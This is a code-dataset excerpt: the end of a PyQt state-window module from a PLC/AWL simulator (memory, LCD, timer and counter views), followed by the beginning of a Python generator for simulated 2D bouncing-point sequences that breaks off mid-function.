0xFFFFFFFF\n\t\tvalue = (value << (self.width - 8 - (offset * 8))) & 0xFFFFFFFF\n\t\tvalue = (self.__currentValue & mask) | value\n\t\tif self.__currentValue != value:\n\t\t\tself.__currentValue = value\n\t\t\tself.__displayValue()\n\n\tdef __displayValue(self):\n\t\tvalue = self.__currentValue\n\t\tif self.base == 2:\n\t\t\tstring = intToDualString(value, self.width)\n\t\telif self.base == 10:\n\t\t\tif self.width == 8:\n\t\t\t\tstring = \"%d\" % byteToSignedPyInt(value)\n\t\t\telif self.width == 16:\n\t\t\t\tstring = \"%d\" % wordToSignedPyInt(value)\n\t\t\telif self.width == 32:\n\t\t\t\tstring = \"%d\" % dwordToSignedPyInt(value)\n\t\t\telse:\n\t\t\t\tassert(0)\n\t\telif self.base == 16:\n\t\t\tif self.width == 8:\n\t\t\t\tstring = \"%02X\" % (value & 0xFF)\n\t\t\telif self.width == 16:\n\t\t\t\tstring = \"%04X\" % (value & 0xFFFF)\n\t\t\telif self.width == 32:\n\t\t\t\tstring = \"%08X\" % (value & 0xFFFFFFFF)\n\t\t\telse:\n\t\t\t\tassert(0)\n\t\telse:\n\t\t\tassert(0)\n\t\tself.line.setText(string)\n\nclass HexDisplayWidget(NumberDisplayWidget):\n\tdef __init__(self, stateWindow, addrSpace, addr, width, db, parent=None):\n\t\tNumberDisplayWidget.__init__(self, stateWindow, 16, addrSpace,\n\t\t\t\t\t addr, width, db, parent)\n\nclass DecDisplayWidget(NumberDisplayWidget):\n\tdef __init__(self, stateWindow, addrSpace, addr, width, db, parent=None):\n\t\tNumberDisplayWidget.__init__(self, stateWindow, 10, addrSpace,\n\t\t\t\t\t addr, width, db, parent)\n\nclass BinDisplayWidget(NumberDisplayWidget):\n\tdef __init__(self, stateWindow, addrSpace, addr, width, db, parent=None):\n\t\tNumberDisplayWidget.__init__(self, stateWindow, 2, addrSpace,\n\t\t\t\t\t addr, width, db, parent)\n\nclass RealDisplayWidget(AbstractDisplayWidget):\n\tdef __init__(self, stateWindow, addrSpace, addr, width, db, parent=None):\n\t\tAbstractDisplayWidget.__init__(self, stateWindow, addrSpace,\n\t\t\t\t\t addr, width, db, parent)\n\n\t\tself.__currentValue = -1\n\n\t\tself.line = ValueLineEdit(self.__validateInput, self)\n\t\tself.layout().addWidget(self.line)\n\n\t\tself.line.valueChanged.connect(self.changed)\n\n\tdef clear(self):\n\t\tAbstractDisplayWidget.clear(self)\n\t\tself.line.setText(\"invalid address\")\n\n\tdef __convertValue(self, textValue):\n\t\ttry:\n\t\t\tvalue = pyFloatToDWord(float(textValue))\n\t\texcept ValueError as e:\n\t\t\treturn None\n\t\treturn value\n\n\tdef __validateInput(self, inputString, pos):\n\t\tif self.__convertValue(inputString) is None:\n\t\t\treturn QValidator.Intermediate\n\t\treturn QValidator.Acceptable\n\n\tdef get(self):\n\t\tvalue = self.__convertValue(self.line.text())\n\t\tif value is None:\n\t\t\treturn 0\n\t\treturn value\n\n\tdef setByte(self, offset, value):\n\t\tmask = ~(0xFF << (self.width - 8 - (offset * 8))) & 0xFFFFFFFF\n\t\tvalue = (value << (self.width - 8 - (offset * 8))) & 0xFFFFFFFF\n\t\tvalue = (self.__currentValue & mask) | value\n\t\tif self.__currentValue != value:\n\t\t\tself.__currentValue = value\n\t\t\tself.__displayValue()\n\n\tdef __displayValue(self):\n\t\tvalue = self.__currentValue\n\t\tif self.width == 32:\n\t\t\tstring = str(dwordToPyFloat(value))\n\t\telse:\n\t\t\tstring = \"Not DWORD\"\n\t\tself.line.setText(string)\n\nclass State_Mem(StateWindow):\n\tdef __init__(self, client, addrSpace, parent=None):\n\t\tStateWindow.__init__(self, client, parent)\n\t\tif addrSpace == AbstractDisplayWidget.ADDRSPACE_E:\n\t\t\tself.setWindowIcon(getIcon(\"inputs\"))\n\t\telif addrSpace == AbstractDisplayWidget.ADDRSPACE_A:\n\t\t\tself.setWindowIcon(getIcon(\"outputs\"))\n\t\telif addrSpace == AbstractDisplayWidget.ADDRSPACE_M:\n\t\t\tself.setWindowIcon(getIcon(\"flags\"))\n\t\telif addrSpace == AbstractDisplayWidget.ADDRSPACE_DB:\n\t\t\tself.setWindowIcon(getIcon(\"datablock\"))\n\n\t\tself.addrSpace = addrSpace\n\n\t\tx = 0\n\n\t\tif addrSpace == AbstractDisplayWidget.ADDRSPACE_DB:\n\t\t\tself.dbSpin = QSpinBox(self)\n\t\t\tself.dbSpin.setPrefix(\"DB \")\n\t\t\tself.dbSpin.setMinimum(0)\n\t\t\tself.dbSpin.setMaximum(0xFFFF)\n\t\t\tself.layout().addWidget(self.dbSpin, 0, x)\n\t\t\tx += 1\n\n\t\tself.addrSpin = QSpinBox(self)\n\t\tself.addrSpin.setMinimum(0)\n\t\tself.addrSpin.setMaximum(0xFFFF)\n\t\tself.layout().addWidget(self.addrSpin, 0, x)\n\t\tx += 1\n\n\t\tself.widthCombo = QComboBox(self)\n\t\tself.widthCombo.addItem(\"Byte\", 8)\n\t\tself.widthCombo.addItem(\"Word\", 16)\n\t\tself.widthCombo.addItem(\"DWord\", 32)\n\t\tself.layout().addWidget(self.widthCombo, 0, x)\n\t\tx += 1\n\n\t\tself.fmtCombo = QComboBox(self)\n\t\tself.fmtCombo.addItem(\"Checkboxes\", \"cb\")\n\t\tself.fmtCombo.addItem(\"Dual\", \"bin\")\n\t\tself.fmtCombo.addItem(\"Decimal\", \"dec\")\n\t\tself.fmtCombo.addItem(\"Hexadecimal\", \"hex\")\n\t\tself.fmtCombo.addItem(\"Real\", \"real\")\n\t\tself.layout().addWidget(self.fmtCombo, 0, x)\n\t\tx += 1\n\n\t\tself.contentLayout = QGridLayout()\n\t\tself.contentLayout.setContentsMargins(QMargins())\n\t\tself.layout().addLayout(self.contentLayout, 1, 0, 1, x)\n\n\t\tself.contentWidget = None\n\n\t\tif addrSpace == AbstractDisplayWidget.ADDRSPACE_DB:\n\t\t\tself.dbSpin.valueChanged.connect(self.rebuild)\n\t\tself.addrSpin.valueChanged.connect(self.rebuild)\n\t\tself.widthCombo.currentIndexChanged.connect(self.rebuild)\n\t\tself.fmtCombo.currentIndexChanged.connect(self.rebuild)\n\n\t\tself.__changeBlocked = Blocker()\n\t\tself.rebuild()\n\n\tdef rebuild(self):\n\t\tif self.contentWidget:\n\t\t\tself.contentLayout.removeWidget(self.contentWidget)\n\t\t\tself.contentWidget.deleteLater()\n\t\tself.contentWidget = None\n\n\t\taddr = self.addrSpin.value()\n\t\tindex = self.fmtCombo.currentIndex()\n\t\tfmt = self.fmtCombo.itemData(index)\n\t\tindex = self.widthCombo.currentIndex()\n\t\twidth = self.widthCombo.itemData(index)\n\t\tif self.addrSpace == AbstractDisplayWidget.ADDRSPACE_DB:\n\t\t\tdb = self.dbSpin.value()\n\t\telse:\n\t\t\tdb = None\n\n\t\tif fmt == \"real\":\n\t\t\t# If REAL is selected with byte or word width,\n\t\t\t# change to dword width.\n\t\t\tif width != 32:\n\t\t\t\tindex = self.widthCombo.findData(32)\n\t\t\t\t# This will re-trigger the \"rebuild\" slot.\n\t\t\t\tself.widthCombo.setCurrentIndex(index)\n\t\t\t\treturn\n\n\t\tname, longName = AbstractDisplayWidget.addrspace2name[self.addrSpace]\n\t\twidth2suffix = {\n\t\t\t8\t: \"B\",\n\t\t\t16\t: \"W\",\n\t\t\t32\t: \"D\",\n\t\t}\n\t\tname += width2suffix[width]\n\t\tself.addrSpin.setPrefix(name + \" \")\n\t\tself.setWindowTitle(longName)\n\n\t\tif fmt == \"cb\":\n\t\t\tself.contentWidget = BitDisplayWidget(self,\n\t\t\t\t\t\t\t self.addrSpace,\n\t\t\t\t\t\t\t addr, width, db, self)\n\t\t\tself.contentLayout.addWidget(self.contentWidget)\n\t\telif fmt == \"hex\":\n\t\t\tself.contentWidget = HexDisplayWidget(self,\n\t\t\t\t\t\t\t self.addrSpace,\n\t\t\t\t\t\t\t addr, width, db, self)\n\t\t\tself.contentLayout.addWidget(self.contentWidget)\n\t\telif fmt == \"dec\":\n\t\t\tself.contentWidget = DecDisplayWidget(self,\n\t\t\t\t\t\t\t self.addrSpace,\n\t\t\t\t\t\t\t addr, width, db, self)\n\t\t\tself.contentLayout.addWidget(self.contentWidget)\n\t\telif fmt == \"bin\":\n\t\t\tself.contentWidget = BinDisplayWidget(self,\n\t\t\t\t\t\t\t self.addrSpace,\n\t\t\t\t\t\t\t addr, width, db, self)\n\t\t\tself.contentLayout.addWidget(self.contentWidget)\n\t\telif fmt == \"real\":\n\t\t\tself.contentWidget = RealDisplayWidget(self,\n\t\t\t\t\t\t\t self.addrSpace,\n\t\t\t\t\t\t\t addr, width, db, self)\n\t\t\tself.contentLayout.addWidget(self.contentWidget)\n\t\telse:\n\t\t\tassert(0)\n\t\tself.contentWidget.changed.connect(self.__changed)\n\t\tself.contentWidget.setEnabled(True)\n\t\tself._updateSize(forceMinimum = True)\n\n\t\tself.configChanged.emit(self)\n\n\tdef __changed(self):\n\t\tif self.__changeBlocked or not self.contentWidget:\n\t\t\treturn\n\t\tvalue = self.contentWidget.get()\n\t\twidth = self.widthCombo.itemData(self.widthCombo.currentIndex())\n\n\t\tmemArea = self.__makeMemoryArea()\n\t\tmemArea.data = bytearray(width // 8)\n\t\tWordPacker.toBytes(memArea.data, width, 0, value)\n\n\t\tself._writeCpuMemory((memArea,))\n\n\tdef __makeMemoryArea(self):\n\t\tdbIndex = 0\n\t\tif self.addrSpace == AbstractDisplayWidget.ADDRSPACE_DB:\n\t\t\tdbIndex = self.dbSpin.value()\n\t\taddr = self.addrSpin.value()\n\t\tnrBits = self.widthCombo.itemData(self.widthCombo.currentIndex())\n\n\t\treturn MemoryArea(memType = AbstractDisplayWidget.addrspace2memarea[self.addrSpace],\n\t\t\t\t flags = 0,\n\t\t\t\t index = dbIndex,\n\t\t\t\t start = addr,\n\t\t\t\t length = nrBits // 8)\n\n\tdef getMemoryAreas(self):\n\t\treturn ( self.__makeMemoryArea(), )\n\n\tdef setMemory(self, memArea):\n\t\tif not self.contentWidget:\n\t\t\treturn False\n\t\tthisArea = self.__makeMemoryArea()\n\t\tif not thisArea.overlapsWith(memArea):\n\t\t\treturn False\n\t\tthisStart, thisEnd = thisArea.start, thisArea.start + thisArea.length - 1\n\n\t\tif memArea.flags & (memArea.FLG_ERR_READ | memArea.FLG_ERR_WRITE):\n\t\t\tself.contentWidget.setEnabled(False)\n\t\t\tself.contentWidget.clear()\n\t\t\treturn False\n\t\tself.contentWidget.setEnabled(True)\n\n\t\twith self.__changeBlocked:\n\t\t\taddr = memArea.start\n\t\t\tfor value in memArea.data:\n\t\t\t\tif addr > thisEnd:\n\t\t\t\t\tbreak\n\t\t\t\tif addr >= thisStart:\n\t\t\t\t\tself.contentWidget.setByte(addr - thisStart,\n\t\t\t\t\t\t\t\t value)\n\t\t\t\taddr += 1\n\t\tself._updateSize()\n\t\treturn True\n\nclass State_LCD(StateWindow):\n\tdef __init__(self, client, parent=None):\n\t\tStateWindow.__init__(self, client, parent)\n\t\tself.setWindowTitle(\"LCD\")\n\t\tself.setWindowIcon(getIcon(\"lcd\"))\n\n\t\tself.displayedValue = 0\n\n\t\tself.addrSpin = QSpinBox(self)\n\t\tself.addrSpin.setPrefix(\"Q \")\n\t\tself.addrSpin.setMinimum(0)\n\t\tself.addrSpin.setMaximum(0xFFFF)\n\t\tself.layout().addWidget(self.addrSpin, 0, 0)\n\n\t\tself.widthCombo = QComboBox(self)\n\t\tself.widthCombo.addItem(\"Byte\", 8)\n\t\tself.widthCombo.addItem(\"Word\", 16)\n\t\tself.widthCombo.addItem(\"DWord\", 32)\n\t\tself.layout().addWidget(self.widthCombo, 0, 1)\n\n\t\tself.endianCombo = QComboBox(self)\n\t\tself.endianCombo.addItem(\"Big-endian\", \"be\")\n\t\tself.endianCombo.addItem(\"Little-endian\", \"le\")\n\t\tself.layout().addWidget(self.endianCombo, 1, 0)\n\n\t\tself.fmtCombo = QComboBox(self)\n\t\tself.fmtCombo.addItem(\"BCD\", \"bcd\")\n\t\tself.fmtCombo.addItem(\"Signed BCD\", \"signed-bcd\")\n\t\tself.fmtCombo.addItem(\"Binary\", \"bin\")\n\t\tself.fmtCombo.addItem(\"Signed binary\", \"signed-bin\")\n\t\tself.layout().addWidget(self.fmtCombo, 1, 1)\n\n\t\tself.lcd = QLCDNumber(self)\n\t\tself.lcd.setMinimumHeight(50)\n\t\tself.layout().addWidget(self.lcd, 2, 0, 1, 2)\n\n\t\tself.addrSpin.valueChanged.connect(self.rebuild)\n\t\tself.widthCombo.currentIndexChanged.connect(self.rebuild)\n\t\tself.endianCombo.currentIndexChanged.connect(self.rebuild)\n\t\tself.fmtCombo.currentIndexChanged.connect(self.rebuild)\n\n\t\tself.__changeBlocked = Blocker()\n\t\tself.rebuild()\n\n\tdef getDataWidth(self):\n\t\tindex = self.widthCombo.currentIndex()\n\t\treturn self.widthCombo.itemData(index)\n\n\tdef getFormat(self):\n\t\tindex = self.fmtCombo.currentIndex()\n\t\treturn self.fmtCombo.itemData(index)\n\n\tdef getEndian(self):\n\t\tindex = self.endianCombo.currentIndex()\n\t\treturn self.endianCombo.itemData(index)\n\n\tdef rebuild(self):\n\t\tself._updateSize(forceMinimum = True)\n\t\tself.configChanged.emit(self)\n\n\tdef __makeMemoryArea(self):\n\t\tnrBits = self.widthCombo.itemData(self.widthCombo.currentIndex())\n\t\taddr = self.addrSpin.value()\n\n\t\treturn MemoryArea(memType = MemoryArea.TYPE_A,\n\t\t\t\t flags = 0,\n\t\t\t\t index = 0,\n\t\t\t\t start = addr,\n\t\t\t\t length = nrBits // 8)\n\n\tdef getMemoryAreas(self):\n\t\treturn ( self.__makeMemoryArea(), )\n\n\tdef setMemory(self, memArea):\n\t\tthisArea = self.__makeMemoryArea()\n\t\tif not thisArea.overlapsWith(memArea):\n\t\t\treturn False\n\t\tthisStart, thisEnd = thisArea.start, thisArea.start + thisArea.length - 1\n\n\t\tif memArea.flags & (memArea.FLG_ERR_READ | memArea.FLG_ERR_WRITE):\n\t\t\t#TODO\n\t\t\treturn False\n\n\t\twith self.__changeBlocked:\n\t\t\taddr = memArea.start\n\t\t\tfor value in memArea.data:\n\t\t\t\tif addr > thisEnd:\n\t\t\t\t\tbreak\n\t\t\t\tif addr >= thisStart:\n\t\t\t\t\tself.__setByte(addr - thisStart,\n\t\t\t\t\t\t value)\n\t\t\t\taddr += 1\n\t\tself._updateSize()\n\t\treturn True\n\n\tdef __setByte(self, offset, value):\n\t\twidth = self.getDataWidth()\n\t\tmask = ~(0xFF << (width - 8 - (offset * 8))) & 0xFFFFFFFF\n\t\tvalue = (value << (width - 8 - (offset * 8))) & 0xFFFFFFFF\n\t\tvalue = (self.displayedValue & mask) | value\n\t\tif self.displayedValue != value:\n\t\t\tself.displayedValue = value\n\t\t\tself.__displayValue()\n\n\tdef __displayValue(self):\n\t\taddr = self.addrSpin.value()\n\t\twidth = self.getDataWidth()\n\t\tfmt = self.getFormat()\n\t\tendian = self.getEndian()\n\t\tvalue = self.displayedValue\n\n\t\tif endian == \"le\":\n\t\t\tif width == 16:\n\t\t\t\tvalue = swapEndianWord(value)\n\t\t\telif width == 32:\n\t\t\t\tvalue = swapEndianDWord(value)\n\n\t\tif fmt == \"bcd\":\n\t\t\tif width == 8:\n\t\t\t\tvalue = \"%02X\" % (value & 0xFF)\n\t\t\telif width == 16:\n\t\t\t\tvalue = \"%04X\" % (value & 0xFFFF)\n\t\t\telif width == 32:\n\t\t\t\tvalue = \"%08X\" % (value & 0xFFFFFFFF)\n\t\t\telse:\n\t\t\t\tassert(0)\n\t\telif fmt == \"signed-bcd\":\n\t\t\tif width == 8:\n\t\t\t\tsign = '-' if (value & 0xF0) else ''\n\t\t\t\tvalue = \"%s%01X\" % (sign, value & 0x0F)\n\t\t\telif width == 16:\n\t\t\t\tsign = '-' if (value & 0xF000) else ''\n\t\t\t\tvalue = \"%s%03X\" % (sign, value & 0x0FFF)\n\t\t\telif width == 32:\n\t\t\t\tsign = '-' if (value & 0xF0000000) else ''\n\t\t\t\tvalue = \"%s%07X\" % (sign, value & 0x0FFFFFFF)\n\t\t\telse:\n\t\t\t\tassert(0)\n\t\telif fmt == \"bin\":\n\t\t\tif width == 8:\n\t\t\t\tvalue = \"%d\" % (value & 0xFF)\n\t\t\telif width == 16:\n\t\t\t\tvalue = \"%d\" % (value & 0xFFFF)\n\t\t\telif width == 32:\n\t\t\t\tvalue = \"%d\" % (value & 0xFFFFFFFF)\n\t\t\telse:\n\t\t\t\tassert(0)\n\t\telif fmt == \"signed-bin\":\n\t\t\tif width == 8:\n\t\t\t\tvalue = \"%d\" % byteToSignedPyInt(value)\n\t\t\telif width == 16:\n\t\t\t\tvalue = \"%d\" % wordToSignedPyInt(value)\n\t\t\telif width == 32:\n\t\t\t\tvalue = \"%d\" % dwordToSignedPyInt(value)\n\t\t\telse:\n\t\t\t\tassert(0)\n\t\telse:\n\t\t\tassert(0)\n\t\twith self.__changeBlocked:\n\t\t\tself.lcd.setDigitCount(len(value))\n\t\t\tself.lcd.display(value)\n\nclass _State_TimerCounter(StateWindow):\n\tdef __init__(self, client, memAreaType, parent=None):\n\t\tStateWindow.__init__(self, client, parent)\n\t\tself.memAreaType = memAreaType\n\n\t\tself.indexSpin = QSpinBox(self)\n\t\tself.indexSpin.setMinimum(0)\n\t\tself.indexSpin.setMaximum(0xFFFF)\n\t\tself.layout().addWidget(self.indexSpin, 0, 0)\n\n\t\tself.formatCombo = QComboBox(self)\n\t\tself.layout().addWidget(self.formatCombo, 0, 1)\n\n\t\thbox = QHBoxLayout()\n\t\tself.valueEdit = ValueLineEdit(self.__validateInput, self)\n\t\thbox.addWidget(self.valueEdit)\n\t\tself.statusLabel = QLabel(self)\n\t\thbox.addWidget(self.statusLabel)\n\t\tself.resetButton = QPushButton(\"R\", self)\n\t\thbox.addWidget(self.resetButton)\n\t\tself.layout().addLayout(hbox, 1, 0, 1, 2)\n\n\t\tself.displayedStatus = 0\n\n\t\tself.indexSpin.valueChanged.connect(self.rebuild)\n\t\tself.formatCombo.currentIndexChanged.connect(self.rebuild)\n\t\tself.valueEdit.valueChanged.connect(self.__newValueEntered)\n\t\tself.resetButton.released.connect(self.reset)\n\n\t\tself.__changeBlocked = Blocker()\n\t\tself.setMinimumWidth(310)\n\t\tself.rebuild()\n\n\tdef reset(self):\n\t\tself.__sendValue(0)\n\n\tdef __updateStatus(self):\n\t\tself.statusLabel.setText(\"Q=%d\" % self.displayedStatus)\n\n\tdef rebuild(self):\n\t\tself.valueEdit.clear()\n\t\tself.displayedStatus = 0\n\t\tself.__updateStatus()\n\t\tself._updateSize(forceMinimum = True)\n\t\tself.configChanged.emit(self)\n\n\tdef __makeMemoryArea(self):\n\t\tindex = self.indexSpin.value()\n\t\treturn MemoryArea(memType = self.memAreaType,\n\t\t\t\t flags = 0,\n\t\t\t\t index = index,\n\t\t\t\t start = 0,\n\t\t\t\t length = 32)\n\n\tdef getMemoryAreas(self):\n\t\treturn ( self.__makeMemoryArea(), )\n\n\tdef setMemory(self, memArea):\n\t\tif memArea.memType != self.memAreaType or\\\n\t\t memArea.index != self.indexSpin.value():\n\t\t\treturn False\n\n\t\tif memArea.flags & (memArea.FLG_ERR_READ | memArea.FLG_ERR_WRITE):\n\t\t\tself.valueEdit.setEnabled(False)\n\t\t\tself.valueEdit.clear()\n\t\t\treturn False\n\t\tself.valueEdit.setEnabled(True)\n\n\t\ttry:\n\t\t\tvalue = WordPacker.fromBytes(memArea.data, 32)\n\t\t\tstatus = (value >> 31) & 1\n\t\t\tvalue &= 0xFFFF\n\t\texcept AwlSimError as e:\n\t\t\treturn False\n\t\ttext = self.valueToText(value)\n\t\tif text == self.valueEdit.text() and\\\n\t\t status == self.displayedStatus:\n\t\t\treturn True\n\n\t\tself.displayedStatus = status\n\t\tself.__updateStatus()\n\n\t\twith self.__changeBlocked:\n\t\t\tself.valueEdit.setText(text)\n\n\t\tself._updateSize()\n\t\treturn True\n\n\tdef textToValue(self, text):\n\t\traise NotImplementedError\n\n\tdef valueToText(self, value):\n\t\traise NotImplementedError\n\n\tdef __validateInput(self, inputString, pos):\n\t\tif self.textToValue(inputString) is None:\n\t\t\treturn QValidator.Intermediate\n\t\treturn QValidator.Acceptable\n\n\tdef __newValueEntered(self, newText):\n\t\tif self.__changeBlocked:\n\t\t\treturn\n\n\t\tvalue = self.textToValue(newText)\n\t\tif value is not None:\n\t\t\tself.__sendValue(value)\n\n\tdef __sendValue(self, value):\n\t\tmemArea = self.__makeMemoryArea()\n\t\tmemArea.data = bytearray(4)\n\t\tWordPacker.toBytes(memArea.data, 32, 0, value)\n\t\tself._writeCpuMemory((memArea,))\n\nclass State_Timer(_State_TimerCounter):\n\tdef __init__(self, client, parent=None):\n\t\t_State_TimerCounter.__init__(self, client,\n\t\t\t\t\t MemoryArea.TYPE_T,\n\t\t\t\t\t parent)\n\t\tself.setWindowTitle(\"Timer\")\n\t\tself.setWindowIcon(getIcon(\"timer\"))\n\n\t\tself.indexSpin.setPrefix(\"T \")\n\n\t\tself.formatCombo.addItem(\"Dual\", \"bin\")\n\t\tself.formatCombo.addItem(\"Hexadecimal\", \"hex\")\n\t\tself.formatCombo.addItem(\"S5Time\", \"s5t\")\n\n\t\tself._updateSize(forceMinimum = True)\n\n\tdef textToValue(self, text):\n\t\tfmt = self.formatCombo.itemData(self.formatCombo.currentIndex())\n\t\tif fmt == \"s5t\":\n\t\t\ttry:\n\t\t\t\tval = AwlDataType.tryParseImmediate_S5T(text)\n\t\t\t\tif val is None:\n\t\t\t\t\treturn None\n\t\t\texcept AwlSimError as e:\n\t\t\t\treturn None\n\t\telif fmt == \"bin\":\n\t\t\ttry:\n\t\t\t\tval = AwlDataType.tryParseImmediate_Bin(text)\n\t\t\t\tif val is None:\n\t\t\t\t\treturn None\n\t\t\t\tif val > 0xFFFF:\n\t\t\t\t\treturn None\n\t\t\texcept AwlSimError as e:\n\t\t\t\treturn None\n\t\telif fmt == \"hex\":\n\t\t\ttry:\n\t\t\t\tval = AwlDataType.tryParseImmediate_HexWord(text)\n\t\t\t\tif val is None:\n\t\t\t\t\treturn None\n\t\t\texcept AwlSimError as e:\n\t\t\t\treturn None\n\t\telse:\n\t\t\tassert(0)\n\t\tif (val & 0xF000) > 0x3000 or\\\n\t\t (val & 0x0F00) > 0x0900 or\\\n\t\t (val & 0x00F0) > 0x0090 or\\\n\t\t (val & 0x000F) > 0x0009:\n\t\t\treturn None\n\t\treturn val\n\n\tdef valueToText(self, value):\n\t\tvalue &= 0xFFFF\n\t\tfmt = self.formatCombo.itemData(self.formatCombo.currentIndex())\n\t\tif fmt == \"s5t\":\n\t\t\ttry:\n\t\t\t\tseconds = Timer.s5t_to_seconds(value)\n\t\t\t\treturn \"S5T#\" + AwlDataType.formatTime(seconds, True)\n\t\t\texcept AwlSimError as e:\n\t\t\t\treturn \"\"\n\t\telif fmt == \"bin\":\n\t\t\ttext = \"2#\" + intToDualString(value, 16)\n\t\telif fmt == \"hex\":\n\t\t\ttext = \"W#16#%04X\" % value\n\t\telse:\n\t\t\tassert(0)\n\t\treturn text\n\nclass State_Counter(_State_TimerCounter):\n\tdef __init__(self, client, parent=None):\n\t\t_State_TimerCounter.__init__(self, client,\n\t\t\t\t\t MemoryArea.TYPE_Z,\n\t\t\t\t\t parent)\n\t\tself.setWindowTitle(\"Counter\")\n\t\tself.setWindowIcon(getIcon(\"counter\"))\n\n\t\tself.indexSpin.setPrefix(\"C \")\n\n\t\tself.formatCombo.addItem(\"BCD (counter)\", \"bcd\")\n\t\tself.formatCombo.addItem(\"Dual\", \"bin\")\n\n\t\tself._updateSize(forceMinimum = True)\n\n\tdef textToValue(self, text):\n\t\tfmt = self.formatCombo.itemData(self.formatCombo.currentIndex())\n\t\tif fmt == \"bin\":\n\t\t\ttry:\n\t\t\t\tval = AwlDataType.tryParseImmediate_Bin(text)\n\t\t\t\tif val is None:\n\t\t\t\t\treturn None\n\t\t\t\tif val > 0xFFFF:\n\t\t\t\t\treturn None\n\t\t\texcept AwlSimError as e:\n\t\t\t\treturn None\n\t\telif fmt == \"bcd\":\n\t\t\ttry:\n\t\t\t\tval = AwlDataType.tryParseImmediate_BCD_word(text)\n\t\t\t\tif val is None:\n\t\t\t\t\treturn None\n\t\t\texcept AwlSimError as e:\n\t\t\t\treturn None\n\t\telse:\n\t\t\tassert(0)\n\t\tif val > 0x999 or\\\n\t\t (val & 0x0F00) > 0x0900 or\\\n\t\t (val & 0x00F0) > 0x0090 or\\\n\t\t (val & 0x000F) > 0x0009:\n\t\t\treturn None\n\t\treturn val\n\n\tdef valueToText(self, value):\n\t\tvalue &= 0xFFFF\n\t\tfmt = self.formatCombo.itemData(self.formatCombo.currentIndex())\n\t\tif fmt == \"bin\":\n\t\t\ttext = \"2#\" + intToDualString(value, 16)\n\t\telif fmt == \"bcd\":\n\t\t\ttext = \"C#%X\" % value\n\t\telse:\n\t\t\tassert(0)\n\t\treturn text\n\nclass State_Blocks(StateWindow):\n\tdef __init__(self, client, parent=None):\n\t\tStateWindow.__init__(self, client, parent)\n\t\tself.setWindowTitle(\"CPU online content (downloaded blocks)\")\n\t\tself.setWindowIcon(getIcon(\"plugin\"))\n\n\t\tself.__modelRef = client.getBlockTreeModelRef()\n\n\t\tself.blockTree = BlockTreeView(self.__modelRef.obj, self)\n\t\tself.layout().addWidget(self.blockTree, 0, 0)\n\n\t\tself.setMinimumSize(400, 220)\n\t\tself._updateSize()\n\n\tdef closeEvent(self, ev):\n\t\tself.__modelRef.destroy()\n\t\tself.__modelRef = None\n\t\tStateWindow.closeEvent(self, ev)\n\nclass StateMdiArea(QMdiArea):\n\tpass\n\nclass StateMdiSubWindow(QMdiSubWindow):\n\tclosed = Signal(QMdiSubWindow)\n\n\tdef __init__(self, childWidget):\n\t\tQMdiSubWindow.__init__(self)\n\t\tself.setWidget(childWidget)\n\t\tchildWidget.setParent(self)\n\t\tself.setAttribute(Qt.WA_DeleteOnClose)\n\n\tdef closeEvent(self, ev):\n\t\tself.closed.emit(self)\n\t\tQMdiSubWindow.closeEvent(self, ev)\n","repo_name":"Vignesh2208/PLCNet","sub_path":"awlsim/gui/cpustate.py","file_name":"cpustate.py","file_ext":"py","file_size_in_byte":26993,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"21098319882","text":"\"\"\"\nAuthor of file: Manuel Woellhaf\n\"\"\"\nimport math\nimport numpy as np\nfrom scipy.stats import truncnorm\n\n\nclass simple_2d:\n\n def __init__(\n self,\n seq_len=20,\n distribution='deterministic',\n label=None,\n limits=(-8, 8),\n speed=1.0,\n it_length=int(10e6),\n seed=0\n ):\n \"\"\"\n World with two dimensional static state and four dimensional dynamic state.\n \"\"\"\n self._seq_len = seq_len\n self._limits = np.array([limits, limits], dtype=np.float32)\n self._speed = speed\n self._distribution = distribution\n self._label = label\n\n self.shape = (self._seq_len, 2)\n self._length = it_length\n self.random = np.random.RandomState(seed)\n\n def __iter__(self):\n return self\n\n def __len__(self):\n return self._length\n\n def _angle_limits(self, out_of_limits):\n \"\"\"\n If limits where surpassed in two dimension within this step,\n we restrict the angle to pi/2. This is a little inconsistend\n but avoids looping in a corner and increases performance.\n \"\"\"\n xl, xu, yl, yu = out_of_limits[0, 0], out_of_limits[0, 1], out_of_limits[1, 0], out_of_limits[1, 1]\n x = xl or xu\n y = yl or yu\n\n if xl and not y:\n return [-np.pi/2, np.pi/2]\n elif xu and not y:\n return [np.pi/2, 3*np.pi/2]\n elif yl and not x:\n return [0, np.pi]\n elif yu and not x:\n return [-np.pi, 0]\n elif xl and yl:\n return [0, np.pi/2]\n elif xl and yu:\n return [-np.pi/2, 0]\n elif xu and yl:\n return [np.pi/2, np.pi]\n elif xu and yu:\n return [-np.pi, -np.pi/2]\n\n def __next__(self, *args, **kwargs): # init_pos=None, init_vel=None):\n \"\"\"\n init_pos: [2,], [0, 1)\n init_vel: [2,], [0, 1)\n \"\"\"\n if args:\n self.random = np.random.RandomState(args[0])\n\n position = np.zeros((self._seq_len, 2), dtype=np.float32)\n if 'init_pos' in kwargs:\n position[0] = kwargs['init_pos']\n else:\n position[0] = self.random.rand(2)*(self._limits[:, 1]-self._limits[:, 0])+self._limits[:, 0]\n\n velocity = np.zeros((self._seq_len, 2), dtype=np.float32)\n if 'init_vel' in kwargs:\n velocity[0] = kwargs['init_vel']\n else:\n angle = np.pi * (self.random.rand()*2 - 1)\n velocity[0] = np.array([self._speed*math.cos(angle), self._speed*math.sin(angle)])\n\n for t in range(self._seq_len-1):\n cur_vel = velocity[t].copy()\n cur_pos = position[t].copy()\n cur_dst = 0\n speed = np.linalg.norm(cur_vel)\n new_pos = cur_pos + cur_vel\n\n # if we hit the limits we have to change direction\n lower, upper = new_pos < self._limits[:, 0], self._limits[:, 1] < new_pos\n out_of_limits = np.transpose(np.stack([lower, upper]))\n while np.any(out_of_limits) and speed > cur_dst:\n\n eps = 10e-8\n # distance to limits relative to velocity\n rd = abs((self._limits.T-cur_pos)/(cur_vel+eps)).T\n impact_lim = rd == min(rd[out_of_limits])\n rd = rd[impact_lim][0]\n\n # walk until we hit limits and keep track of distance within one step\n cur_pos += rd*(cur_vel+eps)\n cur_dst += rd\n\n # generate new velocity\n if self._distribution == 'deterministic':\n flip = lower + upper\n cur_vel = cur_vel*(np.ones(cur_vel.shape, dtype=np.int8)-2*flip)\n\n elif self._distribution == 'binomial':\n flip = lower + upper\n cur_vel = cur_vel*(np.ones(cur_vel.shape, dtype=np.int8)-2*flip)\n if self.random.rand() >= 0.5:\n cur_vel = cur_vel*(np.ones(cur_vel.shape, dtype=np.int8)-2*~flip)\n\n elif 